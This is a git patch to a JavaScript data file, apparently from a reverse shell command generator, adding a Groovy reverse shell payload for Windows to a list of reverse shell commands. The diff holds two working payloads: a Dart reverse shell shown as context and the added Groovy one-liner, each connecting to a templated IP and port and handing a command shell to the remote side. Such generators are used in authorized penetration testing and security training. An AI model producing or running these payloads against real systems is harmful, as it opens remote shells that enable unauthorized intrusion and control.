From 3926c2cfe0b8a670be3b99ba58a8ba67e956174e Mon Sep 17 00:00:00 2001 From: Ryan Montgomery <44453666+0dayCTF@users.noreply.github.com> Date: Tue, 19 Oct 2021 15:04:46 -0400 Subject: [PATCH] Update data.js Added Groovy shell for Windows --- js/data.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index c7dab10..b5debfc 100644 --- a/js/data.js +++ b/js/data.js @@ -297,7 +297,12 @@ const reverseShellCommands = withCommandType( "name": "Dart", "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\"{ip}\", {port}).then((socket) {\n socket.listen((data) {\n Process.start('{shell}', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}", "meta": ["linux", "mac", "windows"] - } + }, + { + "name": "Groovy", + "command":"String host=\"{ip}\";int port={port};String cmd=\"{shell}\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();", + "meta":["windows"] + } ] );